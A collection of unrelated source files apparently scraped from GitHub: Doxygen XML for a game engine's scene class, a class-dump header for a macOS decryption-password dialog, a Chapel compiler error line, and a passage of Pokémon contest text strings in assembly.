<sectiondef kind="public-func">
<memberdef kind="function" id="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a8930ba395286d4e07af9761123037174" prot="public" static="no" const="no" explicit="no" inline="no" virt="non-virtual">
<type></type>
<definition>Rubeus::GraphicComponents::RGameScene::RGameScene</definition>
<argsstring>(const char *vShaderPath, const char *fShaderPath)</argsstring>
<name>RGameScene</name>
<param>
<type>const char *</type>
<declname>vShaderPath</declname>
</param>
<param>
<type>const char *</type>
<declname>fShaderPath</declname>
</param>
<briefdescription>
<para>Constructor. </para> </briefdescription>
<detaileddescription>
<para><parameterlist kind="param"><parameteritem>
<parameternamelist>
<parametername>vshaderPath</parametername>
</parameternamelist>
<parameterdescription>
<para>Path to vertex shader. </para></parameterdescription>
</parameteritem>
<parameteritem>
<parameternamelist>
<parametername>fshaderPath</parametername>
</parameternamelist>
<parameterdescription>
<para>Path to fragment shader. </para></parameterdescription>
</parameteritem>
</parameterlist>
</para> </detaileddescription>
<inbodydescription>
</inbodydescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="49" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.cpp" bodystart="13" bodyend="27"/>
</memberdef>
<memberdef kind="function" id="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1aa2c9ab4d14a58c067100e8ad4a975818" prot="public" static="no" const="no" explicit="no" inline="no" virt="non-virtual">
<type></type>
<definition>Rubeus::GraphicComponents::RGameScene::~RGameScene</definition>
<argsstring>()</argsstring>
<name>~RGameScene</name>
<briefdescription>
<para>Destructor. </para> </briefdescription>
<detaileddescription>
</detaileddescription>
<inbodydescription>
</inbodydescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="56" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.cpp" bodystart="29" bodyend="33"/>
</memberdef>
<memberdef kind="function" id="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a4218e450e997fdf25a55be94c15d8379" prot="public" static="no" const="no" explicit="no" inline="no" virt="non-virtual">
<type>void</type>
<definition>void Rubeus::GraphicComponents::RGameScene::add</definition>
<argsstring>(RGameObject *gameObject)</argsstring>
<name>add</name>
<param>
<type><ref refid="class_rubeus_1_1_r_game_object" kindref="compound">RGameObject</ref> *</type>
<declname>gameObject</declname>
</param>
<briefdescription>
<para>Add a gameobject to the layers. </para> </briefdescription>
<detaileddescription>
<para><simplesect kind="warning"><para>Select a layer with the second parameter</para></simplesect>
<parameterlist kind="param"><parameteritem>
<parameternamelist>
<parametername>gameObject</parametername>
</parameternamelist>
<parameterdescription>
<para>Pointer to the game object. </para></parameterdescription>
</parameteritem>
</parameterlist>
</para> </detaileddescription>
<inbodydescription>
</inbodydescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="66" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.cpp" bodystart="35" bodyend="38"/>
</memberdef>
<memberdef kind="function" id="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a14b79a434b7ff6e6a91d73f1de2b0409" prot="public" static="no" const="no" explicit="no" inline="no" virt="non-virtual">
<type>void</type>
<definition>void Rubeus::GraphicComponents::RGameScene::draw</definition>
<argsstring>()</argsstring>
<name>draw</name>
<briefdescription>
<para>Draw all layers to screen. </para> </briefdescription>
<detaileddescription>
</detaileddescription>
<inbodydescription>
</inbodydescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="73" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.cpp" bodystart="40" bodyend="43"/>
</memberdef>
</sectiondef>
<briefdescription>
<para>Contains the entire scene on display. </para> </briefdescription>
<detaileddescription>
</detaileddescription>
<location file="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" line="25" column="1" bodyfile="/home/serious/Desktop/SDSLabs/Rubeus/RubeusCore/Source/GraphicComponents/game_scene.h" bodystart="24" bodyend="74"/>
<listofallmembers>
<member refid="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a4218e450e997fdf25a55be94c15d8379" prot="public" virt="non-virtual"><scope>Rubeus::GraphicComponents::RGameScene</scope><name>add</name></member>
<member refid="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a14b79a434b7ff6e6a91d73f1de2b0409" prot="public" virt="non-virtual"><scope>Rubeus::GraphicComponents::RGameScene</scope><name>draw</name></member>
<member refid="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1ae26000f245e1c745925c5e0878dd25d9" prot="private" virt="non-virtual"><scope>Rubeus::GraphicComponents::RGameScene</scope><name>m_ProgramShader</name></member>
<member refid="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a2d624de1c92ffd4c46242beffa2ca5f4" prot="private" virt="non-virtual"><scope>Rubeus::GraphicComponents::RGameScene</scope><name>m_RenderableScene</name></member>
<member refid="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a492af6356bcadd6b7b40e4c62d38a22f" prot="private" virt="non-virtual"><scope>Rubeus::GraphicComponents::RGameScene</scope><name>m_TextureIDs</name></member>
<member refid="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1abbd9bc577675917336fd07ab54e0580c" prot="private" virt="non-virtual"><scope>Rubeus::GraphicComponents::RGameScene</scope><name>REngine</name></member>
<member refid="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1a8930ba395286d4e07af9761123037174" prot="public" virt="non-virtual"><scope>Rubeus::GraphicComponents::RGameScene</scope><name>RGameScene</name></member>
<member refid="class_rubeus_1_1_graphic_components_1_1_r_game_scene_1aa2c9ab4d14a58c067100e8ad4a975818" prot="public" virt="non-virtual"><scope>Rubeus::GraphicComponents::RGameScene</scope><name>~RGameScene</name></member>
</listofallmembers>
</compounddef>
</doxygen>
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard.
//
#import "TBaseEncryptionPasswordViewController.h"
@class TTextField;
@interface TDecryptionPasswordViewController : TBaseEncryptionPasswordViewController
{
TTextField *_mainTextFld;
TTextField *_instructionsFld;
}
- (void)okButtonPressed:(id)arg1;
- (void)setVolumeNode:(const struct TFENode *)arg1;
- (void)viewLoaded;
@end
| {
"pile_set_name": "Github"
} |
concrete-function.chpl:7: error: record 'R' cannot contain a recursive field 'x' of type 'R'
| {
"pile_set_name": "Github"
} |
@ Contest move effect descriptions
gText_HighlyAppealingMove:: @ 827CB82
.string "A highly appealing move.$"
gText_UserMoreEasilyStartled:: @ 827CB9B
.string "After this move, the user is\nmore easily startled.$"
gText_GreatAppealButNoMoreToEnd:: @ 827CBCE
.string "Makes a great appeal, but\nallows no more to the end.$"
gText_UsedRepeatedlyWithoutBoringJudge:: @ 827CC03
.string "Can be repeatedly used\nwithout boring the JUDGE.$"
gText_AvoidStartledByOthersOnce:: @ 827CC34
.string "Can avoid being startled\nby others once.$"
gText_AvoidStartledByOthers:: @ 827CC5D
.string "Can avoid being startled\nby others.$"
gText_AvoidStartledByOthersLittle:: @ 827CC81
.string "Can avoid being startled\nby others a little.$"
gText_UserLessLikelyStartled:: @ 827CCAE
.string "After this move, the user is\nless likely to be startled.$"
gText_SlightlyStartleFrontMon:: @ 827CCE7
.string "Slightly startles the\nPOKéMON in front.$"
gText_SlightlyStartleAppealed:: @ 827CD0F
.string "Slightly startles those\nthat have made appeals.$"
gText_StartleAppealedBeforeUser:: @ 827CD3F
.string "Startles the POKéMON that\nappealed before the user.$"
gText_StartleAllAppealed:: @ 827CD73
.string "Startles all POKéMON that\nhave done their appeals.$"
gText_BadlyStartleFrontMon:: @ 827CDA6
.string "Badly startles the\nPOKéMON in front.$"
gText_BadlyStartleAppealed:: @ 827CDCB
.string "Badly startles those that\nhave made appeals.$"
gText_StartleAppealedBeforeUser2:: @ 827CDF8
.string "Startles the POKéMON that\nappealed before the user.$"
gText_StartleAllAppealed2:: @ 827CE2C
.string "Startles all POKéMON that\nhave done their appeals.$"
gText_ShiftJudgesAttentionFromOthers:: @ 827CE5F
.string "Shifts the JUDGE's\nattention from others.$"
gText_StartleMonHasJudgesAttention:: @ 827CE89
.string "Startles the POKéMON that\nhas the JUDGE's attention.$"
gText_JamOthersMissesTurn:: @ 827CEBE
.string "Jams the others, and misses\none turn of appeals.$"
gText_StartleMonsMadeSameTypeAppeal:: @ 827CEEF
.string "Startles POKéMON that\nmade a same-type appeal.$"
gText_BadlyStartleCoolAppeals:: @ 827CF1E
.string "Badly startles POKéMON\nthat made COOL appeals.$"
gText_BadlyStartleBeautyAppeals:: @ 827CF4D
.string "Badly startles POKéMON\nthat made BEAUTY appeals.$"
gText_BadlyStartleCuteAppeals:: @ 827CF7E
.string "Badly startles POKéMON\nthat made CUTE appeals.$"
gText_BadlyStartleSmartAppeals:: @ 827CFAD
.string "Badly startles POKéMON\nthat made SMART appeals.$"
gText_BadlyStartleToughAppeals:: @ 827CFDD
.string "Badly startles POKéMON\nthat made TOUGH appeals.$"
gText_MakeMonAfterUserNervous:: @ 827D00D
.string "Makes one POKéMON after\nthe user nervous.$"
gText_MakeAllMonsAfterUserNervous:: @ 827D037
.string "Makes all POKéMON after\nthe user nervous.$"
gText_WorsenConditionOfThoseMadeAppeals:: @ 827D061
.string "Worsens the condition of\nthose that made appeals.$"
gText_BadlyStartleMonsGoodCondition:: @ 827D093
.string "Badly startles POKéMON in\ngood condition.$"
gText_AppealGreatIfPerformedFirst:: @ 827D0BD
.string "The appeal works great if\nperformed first.$"
gText_AppealGreatIfPerformedLast:: @ 827D0E8
.string "The appeal works great if\nperformed last.$"
gText_AppealAsGoodAsThoseBeforeIt:: @ 827D112
.string "Makes the appeal as good\nas those before it.$"
gText_AppealAsGoodAsOneBeforeIt:: @ 827D13F
.string "Makes the appeal as good\nas the one before it.$"
gText_AppealBetterLaterItsPerformed:: @ 827D16E
.string "The appeal works better\nthe later it is performed.$"
gText_AppealVariesDependingOnTiming:: @ 827D1A1
.string "The appeal's quality varies\ndepending on its timing.$"
gText_WorksWellIfSameTypeAsBefore:: @ 827D1D6
.string "Works well if it's the same\ntype as the one before.$"
gText_WorksWellIfDifferentTypeAsBefore:: @ 827D20A
.string "Works well if different in\ntype than the one before.$"
gText_AffectedByAppealInFront:: @ 827D23F
.string "Affected by how well the\nappeal in front goes.$"
gText_UpsConditionHelpsPreventNervousness:: @ 827D26E
.string "Ups the user's condition.\nHelps prevent nervousness.$"
gText_AppealWorksWellIfConditionGood:: @ 827D2A3
.string "The appeal works well if the\nuser's condition is good.$"
gText_NextAppealMadeEarlier:: @ 827D2DA
.string "The next appeal can be\nmade earlier next turn.$"
gText_NextAppealMadeLater:: @ 827D309
.string "The next appeal can be\nmade later next turn.$"
gText_TurnOrderMoreEasilyScrambled:: @ 827D336
.string "Makes the next turn's order\nmore easily scrambled.$"
gText_ScrambleOrderOfNextAppeals:: @ 827D369
.string "Scrambles the order of\nappeals on the next turn.$"
gText_AppealExcitesAudienceInAnyContest:: @ 827D39A
.string "An appeal that excites the\naudience in any CONTEST.$"
gText_BadlyStartlesMonsGoodAppeals:: @ 827D3CE
.string "Badly startles all POKéMON\nthat made good appeals.$"
gText_AppealBestMoreCrowdExcited:: @ 827D401
.string "The appeal works best the\nmore the crowd is excited.$"
gText_TemporarilyStopCrowdExcited:: @ 827D436
.string "Temporarily stops the\ncrowd from growing excited.$"
@ Unused move names
gText_RainDance:: @ 827D468
.string "RAIN DANCE$"
gText_Rage:: @ 827D473
.string "RAGE$"
gText_FocusEnergy:: @ 827D478
.string "FOCUS ENERGY$"
gText_Hypnosis:: @ 827D485
.string "HYPNOSIS$"
gText_Softboiled:: @ 827D48E
.string "SOFTBOILED$"
gText_HornAttack:: @ 827D499
.string "HORN ATTACK$"
gText_SwordsDance:: @ 827D4A5
.string "SWORDS DANCE$"
gText_Conversion:: @ 827D4B2
.string "CONVERSION$"
gText_SunnyDay:: @ 827D4BD
.string "SUNNY DAY$"
gText_Rest2:: @ 827D4C7
.string "REST$"
gText_Vicegrip:: @ 827D4CC
.string "VICEGRIP$"
gText_DefenseCurl:: @ 827D4D5
.string "DEFENSE CURL$"
gText_LockOn:: @ 827D4E2
.string "LOCK-ON$"
@ Contest type names
gContestMoveTypeCoolText:: @ 827D4EA
.string "COOL$"
gContestMoveTypeBeautyText:: @ 827D4EF
.string "BEAUTY$"
gContestMoveTypeCuteText:: @ 827D4F6
.string "CUTE$"
gContestMoveTypeSmartText:: @ 827D4FB
.string "SMART$"
gContestMoveTypeToughText:: @ 827D501
.string "TOUGH$"
gText_AppealNumWhichMoveWillBePlayed:: @ 827D507
.string "Appeal no. {STR_VAR_1}!\n"
.string "Which move will be played?$"
gText_AppealNumButItCantParticipate:: @ 827D531
.string "Appeal no. {STR_VAR_1}!\n"
.string "But it can't participate!$"
gText_MonAppealedWithMove:: @ 827D55A
.string "{STR_VAR_1} appealed with\n"
.string "{STR_VAR_2}!$"
gText_MonWasWatchingOthers:: @ 827D56F
.string "{STR_VAR_1} was watching\n"
.string "the others.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_AllOutOfAppealTime:: @ 827D597
.string "We're all out of\n"
.string "Appeal Time!{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
@ Unused appeal result texts
gText_ButAppealWasJammed:: @ 827D5C1
.string "But the appeal was\n"
.string "jammed.$"
gText_FollowedAnotherMonsLead:: @ 827D5DC
.string "It followed another\n"
.string "POKéMON's lead.$"
gText_ButItMessedUp:: @ 827D600
.string "But it messed up.$"
gText_WentBetterThanUsual:: @ 827D612
.string "It went better than\n"
.string "usual.$"
gText_JudgeLookedAwayForSomeReason:: @ 827D62D
.string "The JUDGE looked away\n"
.string "for some reason.$"
gText_WorkedHardToBuildOnPastMistakes:: @ 827D654
.string "It worked hard to build on\n"
.string "past mistakes.$"
gText_CantMakeAnyMoreMoves:: @ 827D67E
.string "It can't make any more\n"
.string "moves.$"
gText_WorkedFrighteninglyWell:: @ 827D69C
.string "It worked frighteningly\n"
.string "well.$"
gText_WorkedHardAsStandoutMon:: @ 827D6BA
.string "It worked as hard as the\n"
.string "standout POKéMON.$"
gText_JudgedLookedOnExpectantly:: @ 827D6E5
.string "The JUDGE looked on\n"
.string "expectantly.$"
gText_WorkedRatherWell:: @ 827D706
.string "It worked rather well.$"
gText_WorkedLittleBetterThanUsual:: @ 827D71D
.string "It worked a little better\n"
.string "than usual.$"
@ Round result texts
gText_MonFailedToStandOutAtAll:: @ 827D743
.string "{STR_VAR_1} failed to\n"
.string "stand out at all…{PAUSE_UNTIL_PRESS}$"
gText_MonDidntStandOutVeryMuch:: @ 827D764
.string "{STR_VAR_1} didn't stand\n"
.string "out very much…{PAUSE_UNTIL_PRESS}$"
gText_MonCaughtALittleAttention:: @ 827D785
.string "{STR_VAR_1} caught a\n"
.string "little attention.{PAUSE_UNTIL_PRESS}$"
gText_MonAttractedALotOfAttention:: @ 827D7A5
.string "{STR_VAR_1} attracted a\n"
.string "lot of attention.{PAUSE_UNTIL_PRESS}$"
gText_MonCommandedTotalAttention:: @ 827D7C8
.string "{STR_VAR_1} commanded\n"
.string "total attention.{PAUSE_UNTIL_PRESS}$"
gText_MonHasntMadeItsAppeal:: @ 827D7E8
.string "{STR_VAR_1} hasn't made\n"
.string "its appeal.{PAUSE_UNTIL_PRESS}$"
@ Unused
gText_AnticipationSwelledForMonsAppealNext2:: @ 827D805
.string "Anticipation swelled for\n"
.string "{STR_VAR_1}'s appeal next.$"
gText_EmptyContestString:: @ 827D830
.string "$"
gText_JudgesViewsOnMonHeldFirm:: @ 827D831
.string "The JUDGE 's views on\n"
.string "{STR_VAR_1} held firm.$"
gText_MonsXChangedPerceptions:: @ 827D855
.string "{STR_VAR_1}'s {STR_VAR_3}\n"
.string "changed perceptions.$"
gText_MonsAppealEffectWoreOff:: @ 827D872
.string "{STR_VAR_1}'s appeal\n"
.string "effect wore off.$"
gText_SpecialAppealsEffectWoreOff:: @ 827D88F
.string "The special appeal's\n"
.string "effect wore off.$"
gText_EveryonesAppealsMadeToLookSame:: @ 827D8B5
.string "Everyone's appeals were\n"
.string "made to look the same.$"
gText_CheapenedMonsAppeal:: @ 827D8E4
.string "It cheapened\n"
.string "{STR_VAR_2}'s appeal.$"
gText_CheapenedAppealOfThoseAhead:: @ 827D8FE
.string "It cheapened the appeal\n"
.string "of those ahead.$"
gText_StoleAttentionAwayFromMon:: @ 827D926
.string "It stole attention away\n"
.string "from {STR_VAR_2}.$"
gText_CheapenedMonsAppeal2:: @ 827D947
.string "It cheapened\n"
.string "{STR_VAR_2}'s appeal.$"
gText_SeverelyCheapenedOtherAppeals:: @ 827D961
.string "It severely cheapened\n"
.string "other appeals.$"
gText_AnticipationSwelledForMonsAppealNext:: @ 827D986
.string "Anticipation swelled for\n"
.string "{STR_VAR_1}'s appeal next.$"
gText_CheapenedAppealOfThoseAhead2:: @ 827D9B1
.string "It cheapened the appeal\n"
.string "of those ahead.$"
gText_CheapenedJudgesFavoriteAppeal:: @ 827D9D9
.string "It cheapened the JUDGE's\n"
.string "favorite appeal.$"
gText_AppealsOfOthersCheapenedByHalf:: @ 827DA03
.string "The appeals of others\n"
.string "were cheapened by half.$"
gText_StoodOutToMakeUpForBeingJammed:: @ 827DA31
.string "It stood out to make up\n"
.string "for being jammed.$"
gText_CantParticipateInAppealsAnyMore:: @ 827DA5B
.string "It can't participate in\n"
.string "appeals any more.$"
gText_TouchedJudgeForFantasticAppeal:: @ 827DA85
.string "It touched the JUDGE for\n"
.string "a fantastic appeal.$"
gText_AnticipationRoseForUpcomingAppeals:: @ 827DAB2
.string "Anticipation rose for\n"
.string "upcoming appeals.$"
gText_StoodOutAsMuchAsSpecialAppeals:: @ 827DADA
.string "It stood out as much as\n"
.string "special appeals.$"
gText_StoodOutAsMuchAsMon:: @ 827DB03
.string "It stood out as much as\n"
.string "{STR_VAR_1}.$"
gText_JammedAppealsMadeEvenLessNoticeable:: @ 827DB1F
.string "Jammed appeals were made\n"
.string "even less noticeable.$"
gText_EveryonesAppealsMadeSame:: @ 827DB4E
.string "Everyone's appeals were\n"
.string "made the same.$"
@ Appeal result texts
gText_BecameMoreConsciousOfOtherMons:: @ 827DB75
.string "It became more conscious\n"
.string "of the other POKéMON.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonCantMakeAnAppealAfterThis:: @ 827DBB0
.string "{STR_VAR_1} can't make an\n"
.string "appeal after this.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_SettledDownJustLittleBit:: @ 827DBE0
.string "It settled down just a\n"
.string "little bit.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_BecameObliviousToOtherMons:: @ 827DC0F
.string "It became oblivious to\n"
.string "the other POKéMON.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_BecameLessAwareOfOtherMons:: @ 827DC45
.string "It became less aware of\n"
.string "the other POKéMON.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_StoppedCaringAboutOtherMons:: @ 827DC7C
.string "It stopped caring about\n"
.string "other POKéMON much.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_TriedToStartleOtherMons:: @ 827DCB4
.string "It tried to startle the\n"
.string "other POKéMON.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_TriedToDazzleOthers:: @ 827DCE7
.string "It tried to dazzle the\n"
.string "others.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_JudgeLookedAwayFromMon:: @ 827DD12
.string "The JUDGE looked away\n"
.string "from {STR_VAR_1}.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_TriedToUnnerveNextMon:: @ 827DD3D
.string "It tried to unnerve the\n"
.string "next POKéMON.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonBecameNervous:: @ 827DD6F
.string "{STR_VAR_1} became\n"
.string "nervous.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_AppealTriedToUnnerveWaitingMons:: @ 827DD8E
.string "The appeal tried to\n"
.string "unnerve waiting POKéMON.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_TauntedMonsDoingWell:: @ 827DDC7
.string "It taunted POKéMON\n"
.string "doing well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonRegainedItsForm:: @ 827DDF2
.string "{STR_VAR_1} regained its\n"
.string "form.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_TriedToJamMonDoingWell:: @ 827DE14
.string "It tried to jam POKéMON\n"
.string "doing well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_StandoutMonHustledEvenMore:: @ 827DE44
.string "The standout {STR_VAR_1}\n"
.string "hustled even more.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_LargelyUnnoticedMonWorkedHard:: @ 827DE73
.string "The largely unnoticed\n"
.string "{STR_VAR_1} worked hard.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_WorkedAsMuchAsMonBefore:: @ 827DEA5
.string "It worked as much as\n"
.string "POKéMON before it.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealDidNotGoWell:: @ 827DED9
.string "{STR_VAR_1}'s appeal did\n"
.string "not go well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_WorkedAsMuchAsPrecedingMon:: @ 827DF02
.string "It worked as much as the\n"
.string "preceding POKéMON.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealDidNotGoWell2:: @ 827DF3A
.string "{STR_VAR_1}'s appeal did\n"
.string "not go well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealDidNotGoWell3:: @ 827DF63
.string "{STR_VAR_1}'s appeal did\n"
.string "not go well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealWentSlightlyWell:: @ 827DF8C
.string "{STR_VAR_1}'s appeal\n"
.string "went slightly well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealWentPrettyWell:: @ 827DFB8
.string "{STR_VAR_1}'s appeal\n"
.string "went pretty well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealWentExcellently:: @ 827DFE2
.string "{STR_VAR_1}'s appeal\n"
.string "went excellently.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealWasDud:: @ 827E00C
.string "{STR_VAR_1}'s appeal was\n"
.string "a dud.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealDidNotWorkVeryWell:: @ 827E02F
.string "{STR_VAR_1}'s appeal did\n"
.string "not work very well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealWentSlightlyWell2:: @ 827E05F
.string "{STR_VAR_1}'s appeal\n"
.string "went slightly well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealWentPrettyWell2:: @ 827E08B
.string "{STR_VAR_1}'s appeal\n"
.string "went pretty well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealWentVeryWell:: @ 827E0B5
.string "{STR_VAR_1}'s appeal\n"
.string "went very well.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsAppealWentExcellently2:: @ 827E0DD
.string "{STR_VAR_1}'s appeal\n"
.string "went excellently.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_SameTypeAsOneBeforeGood:: @ 827E107
.string "It's the same type as the\n"
.string "POKéMON before--good!{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_NotSameTypeAsOneBeforeGood:: @ 827E143
.string "It's not the same type as\n"
.string "the one before--good!{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_StoodOutMuchMoreThanMonBefore:: @ 827E17F
.string "It stood out much more\n"
.string "than the POKéMON before.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_DidntDoAsWellAsMonBefore:: @ 827E1BB
.string "It didn't do as well as the\n"
.string "POKéMON before.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsConditionRoseAboveUsual:: @ 827E1F3
.string "{STR_VAR_1}'s condition\n"
.string "rose above usual.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MonsHotStatusMadeGreatAppeal:: @ 827E220
.string "{STR_VAR_1}'s hot status\n"
.string "made it a great appeal!{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MovedUpInLineForNextAppeal:: @ 827E254
.string "It moved up in line for\n"
.string "the next appeal.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_MovedBackInLineForNextAppeal:: @ 827E289
.string "It moved back in line once\n"
.string "for the next appeal.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_ScrambledUpOrderForNextTurn:: @ 827E2C5
.string "It scrambled up the\n"
.string "order for the next turn.{PAUSE 15}{PAUSE 15}{PAUSE 15}{PAUSE 15}$"
gText_JudgeLookedAtMonExpectantly:: @ 827E2FE
.string "The JUDGE looked at\n"
.string "{STR_VAR_1} expectantly.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_AppealComboWentOverWell:: @ 827E32E
.string "The appeal combo went\n"
.string "over well.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_AppealComboWentOverVeryWell:: @ 827E35B
.string "The appeal combo went\n"
.string "over very well.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_AppealComboWentOverExcellently:: @ 827E38D
.string "The appeal combo went\n"
.string "over excellently.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonManagedToAvertGaze:: @ 827E3C1
.string "{STR_VAR_1} managed to\n"
.string "avert its gaze.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonManagedToAvoidSeeingIt:: @ 827E3EB
.string "{STR_VAR_1} managed to\n"
.string "avoid seeing it.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonIsntFazedByThatSortOfThing:: @ 827E416
.string "{STR_VAR_1} isn't fazed\n"
.string "by that sort of thing.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonBecameALittleDistracted:: @ 827E448
.string "{STR_VAR_1} became a\n"
.string "little distracted.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_TriedToStartleOtherPokemon:: @ 827E473
.string "It tried to startle the\n"
.string "other POKéMON.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonLookedDownOutOfDistraction:: @ 827E4A6
.string "{STR_VAR_1} looked down\n"
.string "out of distraction.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonTurnedBackOutOfDistraction:: @ 827E4D5
.string "{STR_VAR_1} turned back\n"
.string "out of distraction.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonCouldntHelpUtteringCry:: @ 827E504
.string "{STR_VAR_1} couldn't help\n"
.string "uttering a cry.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonCouldntHelpLeapingUp:: @ 827E531
.string "{STR_VAR_1} couldn't help\n"
.string "leaping up.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonTrippedOutOfDistraction:: @ 827E55A
.string "{STR_VAR_1} tripped over\n"
.string "out of distraction.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_MonWasTooNervousToMove:: @ 827E58A
.string "{STR_VAR_1} was too\n"
.string "nervous to move.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_ButItMessedUp2:: @ 827E5B2
.string "But it messed up.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_ButItFailedToMakeTargetNervous:: @ 827E5D0
.string "But it failed to make\n"
.string "the target nervous.{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}{PAUSE 0x0F}$"
gText_ButItFailedToMakeAnyoneNervous:: @ 827E606
